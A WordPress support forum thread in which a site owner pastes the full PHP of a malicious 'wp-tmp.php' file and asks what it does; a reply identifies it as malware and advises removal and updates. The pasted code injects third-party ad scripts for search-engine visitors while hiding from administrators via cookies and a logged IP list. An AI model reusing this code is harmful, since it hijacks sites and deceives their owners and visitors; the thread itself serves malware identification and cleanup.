I found this virus on My WordPress on wp-includes/ Files that has scan by siteguarding.com and other and found bad scripts ad
this content file “wp-tmp.php” :
ini_set('display_errors', 0); error_reporting(0); $anx='a107e0b262722f0cea3f7ce097597b7c'; if ( ! function_exists( 'slider_option' ) ) { function slider_option($content){ if(is_single()) { $con = ' '; $con2 = ' <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1412000"></script> <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1412002&interactive=1&pushup=1"></script> '; $content=$content.$con2; } return $content; } function slider_option_footer(){ if(!is_single()) { $con2 = ' <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1412000"></script> <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1412002&interactive=1&pushup=1"></script> '; echo $con2; } } function setting_my_first_cookie() { setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN); } if(is_user_logged_in()) { add_action( 'init', 'setting_my_first_cookie',1 ); } if( current_user_can('edit_others_pages')) { if (file_exists(ABSPATH.'wp-includes/wp-feed.php')) { $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php'); } if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false) { $ip.=$_SERVER['REMOTE_ADDR'].' '; @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip); } } $ref = $_SERVER['HTTP_REFERER']; $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com'); foreach ($SE as $source) { if (strpos($ref,$source)!==false) { setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); $sevisitor=true; } } if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) { $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php'); if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false) { if($sevisitor==true || isset($_COOKIE['sevisitor'])) { add_filter('the_content','slider_option'); add_action('wp_footer','slider_option_footer'); } } } }
What was this file doing? And how is know that file is insert on my website file root ? I have chating with siteguarding.com support and tell me “Your website is hacked” wp-includes/wp-tmp.php – 100% virus up/includes/functions.php – 100% virus you are in blacklist
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Answer
It’s malware, definitely this file is not part WP. Remove the file, edit your folder permisions, search your files for other malicious code. Update WP and your plugins.